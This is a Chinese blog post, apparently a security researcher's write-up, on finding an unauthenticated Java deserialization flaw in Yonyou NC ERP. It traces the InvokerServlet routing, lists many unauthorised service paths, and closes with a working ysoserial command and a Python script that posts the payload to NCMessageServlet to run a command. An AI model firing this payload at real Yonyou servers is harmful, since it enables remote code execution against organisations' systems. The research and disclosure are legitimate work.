之前已经发过一次了,但是给删了,发现没文章发了。只能再发一下,现在估计都不一样了
00 环境安装
源码这种东西就不说了。直接在百度上面找一下吧;因为安装包环境都没了,还是干脆就直接一步到位,从如何安装开始。
下载地址:链接: https://pan.baidu.com/s/1XdfQ4J1fXPVOPt1LSpYSGg 密码: gtn2
具体安装情况可以看这篇大佬的链接:https://xz.aliyun.com/t/8242;
数据库安装看这篇大佬:https://blog.csdn.net/weixin_57263771/article/details/128269842
具体安装步骤我就不说了,直接说坑点
数据库安装过程我卡在了7%的地方,然后这个窗口按个回车即可正常安装。
这边我卡在42,后面安装部分出现问题安装不了。我直接取消了;然后就去安装yonyou nc
解压后目录如下
windows的话就双击 setup.bat
就选择这几个吧,安装的越大虚拟机越卡。
里面有手册,可以看一下怎么去安装。好久没安装了;安装可能挺久的。然后会出现下图,然后按下图选项进行选择。
按上面文章来,然后没必要全填写,只要读取保存即可,文件服务器无所谓。
01 漏洞分析
我们直接在webapps下面看web.xml
<!--<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">-->
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4" id="WebApp">
<listener>
<listener-class>nc.bs.framework.server.WebApplicationStartupHook</listener-class>
</listener>
<filter>
<filter-name>LoggerFilter</filter-name>
<filter-class>nc.bs.framework.server.LoggerServletFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>LoggerFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<servlet>
<servlet-name>CommonServletDispatcher</servlet-name>
<servlet-class>nc.bs.framework.comn.serv.CommonServletDispatcher</servlet-class>
<init-param>
<param-name>service</param-name>
<param-value>nc.bs.framework.comn.serv.ServiceDispatcher</param-value>
</init-param>
<load-on-startup>10</load-on-startup>
</servlet>
<servlet>
<servlet-name>ProvisionServlet</servlet-name>
<servlet-class>nc.bs.framework.provision.server.ProvisionServlet</servlet-class>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet>
<servlet-name>NCInvokerServlet</servlet-name>
<servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>NCFindWebServlet</servlet-name>
<servlet-class>nc.bs.framework.server.FindWebResourceServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>ws-ncapplet</servlet-name>
<jsp-file>/jsp/wsncapplet.jsp</jsp-file>
</servlet>
<servlet>
<servlet-name>app-esc</servlet-name>
<servlet-class>uap.serverdes.appesc.AppEscServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>app-esc</servlet-name>
<url-pattern>/app.esc</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ws-ncapplet</servlet-name>
<url-pattern>/ncws.jnlp</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCFindWebServlet</servlet-name>
<url-pattern>/NCFindWeb</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>CommonServletDispatcher</servlet-name>
<url-pattern>/ServiceDispatcherServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ProvisionServlet</servlet-name>
<url-pattern>/provision</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/service/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<mime-mapping>
<extension>xls</extension>
<mime-type>application/vnd.ms-excel</mime-type>
</mime-mapping>
<welcome-file-list>
<welcome-file>default.jsp</welcome-file>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
</welcome-file-list>
<security-constraint>
<web-resource-collection>
<web-resource-name>uapweb</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>BASIC</auth-method>
</login-config>
<error-page>
<error-code>403</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>404</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>400</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<exception-type>java.lang.Exception</exception-type>
<location>/error.jsp</location>
</error-page>
</web-app>
我们再简单看一眼历史漏洞一下
https://mp.weixin.qq.com/s/rhs3m5nq9kDVe2Ka4lpmag
可以看到大部分反序列化,都是/service/路径或者/service/。那么我们就看着两个server是怎么处理流程的
通过web.xml可以看到只要是这两个开头的都走这个类进行处理。
我们可以把全部的jar 拖出来,然后as Libary当中
发现有两个,我们两个都跟进去看一下。那么这边我们也可以下个断点,看看走的是哪一个
我们把这一串复制下来
C:yonyouhomeufjdkbinjava -server -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=512m -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=C:yonyouhome/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=C:yonyouhome -Drun.side=server -Dnc.run.side=server -cp C:yonyouhomestarter.jar;C:yonyouhomeufjdklibtools.jar;C:yonyouhomeantlibant-launcher.jar;C:yonyouhomelibcnytiruces.jar nc.bs.mw.start.AloneBootstrap start
然后再把这个参数添加进去,即可进行远程调试
C:yonyouhomeufjdkbinjava -server -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=512m -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=C:yonyouhome/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=C:yonyouhome -Drun.side=server -Dnc.run.side=server -cp C:yonyouhomestarter.jar;C:yonyouhomeufjdklibtools.jar;C:yonyouhomeantlibant-launcher.jar;C:yonyouhomelibcnytiruces.jar nc.bs.mw.start.AloneBootstrap start
运行完毕后在idea中开始调试运行
在该类中可以看到get和post方法都交由action进行处理。那么我们对这两个类下个断点。看一下进的是fwserver.jar!/nc/bs/framework/server/InvokerServlet还是ncdepend.jar!/nc/bs/framework/server/InvokerServlet
此时在网址中访问一下漏洞地址
发现跳到fwserver.jar!/nc/bs/framework/server/InvokerServlet.class这里面
看到此处先是两个判断,如果security_tokenx0;和user_codex0;为空的话则就解析web路径。可以看到这边还调用了log4j,但是版本不对,就没去尝试了。
try {
if (pathInfo == null) {
throw new ServletException("Service name is not specified, pathInfo is null");
}
// 分删除字符串的头尾空白符
pathInfo = pathInfo.trim();
String moduleName = null;
String serviceName = null;
int beginIndex;
// startsWith检测是否以 "/~"字符开头
if (pathInfo.startsWith("/~")) {
// 如果是,则去除路径前面两个字符 "/~",
moduleName = pathInfo.substring(2);
// 查找字符 "/" 第一次出现处的索引
beginIndex = moduleName.indexOf("/");
// 判断如果索引大于等于0,则截取掉/前面的字符,从而获取类名
if (beginIndex >= 0) {
serviceName = moduleName.substring(beginIndex);
// 如果第一次出现的字符“/”大于0,就可以获取到module名字
if (beginIndex > 0) {
moduleName = moduleName.substring(0, beginIndex);
} else {
moduleName = null;
}
} else {
moduleName = null;
serviceName = pathInfo;
}
} else {
随后在去除掉类名前面的“/”,再去执行getServiceObjectx0;()去获取响应的servlet。
首然后发现这边的module:servicename的形式作为key去map中获取对象。没有获取到只能重新加载,并去实例化对象。这边因为步过了,得换个modulename执行了
发现找不到对象则会去通过模块的名字获取到容器
比如ic等等容器;而这里面的容器每个都存储着路径
到这边意思就都很明显了,以modules文件夹下面的名字+类的全限定名即可未授权访问了。
由于yer没有,所以获取失败了。没法获取到容器。
如果获取到容器,则会从容器缓存查找获取实例化对象。
如果还没有,最后只能走到loadCLass处获取实例化对象
获取完之后就会把这个module和servicename存到map当中。
02 思路分析
我们可以发现module下面基本都可以未授权访问,那么我们是不是可以反编译搜索一下呢?还是老办法
替换掉重复的有1425个未授权,那么直接批量反编译 = 一大堆0day。这边用一下别人的小脚本批量反编译
https://mp.weixin.qq.com/s/ir29voVD5V2nwSLx4Zf9LQ
批量反编译命令:
python3 decompiler.py -s /Users/m1ng/Documents/Project/反编译/jar/ -d /Users/m1ng/Documents/Project/反编译/source
现在我们可以开始挖了,设定目录
成功找到一个,这不就传说中捡漏小王子嘛。因为nc本身就是c/s架构,所以通信都是用序列化等;且都没有过滤,通过图片可以看到直接通过请求包获取到输入流。那么我们测试一下。先定位攻击路径
java_package/baseapp_appmessageLevel-1/nc/message/bs/NCMessageServlet.java:43
那么攻击路径是 /servlet/~baseapp/nc.message.bs.NCMessageServlet
03 漏洞复现
先用工具生成一个命令执行一下看看
java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections7 -a "raw_cmd:calc.exe" > tmp.ser
然后python对目标发包
import requests
proxy = {'http': 'http://127.0.0.1:8080'}
payloadobj = open("./tmp.ser", 'rb').read()
host = "http://192.168.2.3/"
URL = host + "servlet/~baseapp/nc.message.bs.NCMessageServlet"
res = requests.post(URL, data=payloadobj, proxies=proxy)
print(URL)
print(res.text)
print(payloadobj)
漏洞挖掘成功,甚至可以用工具,codeql等自己写规则挖掘了;到此为止,没啥可写的了。该漏洞已在去年上报cnvd。本文仅供技术交流
原文始发于微信公众号(某路人的sec):用友的0day漏洞挖掘思路
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论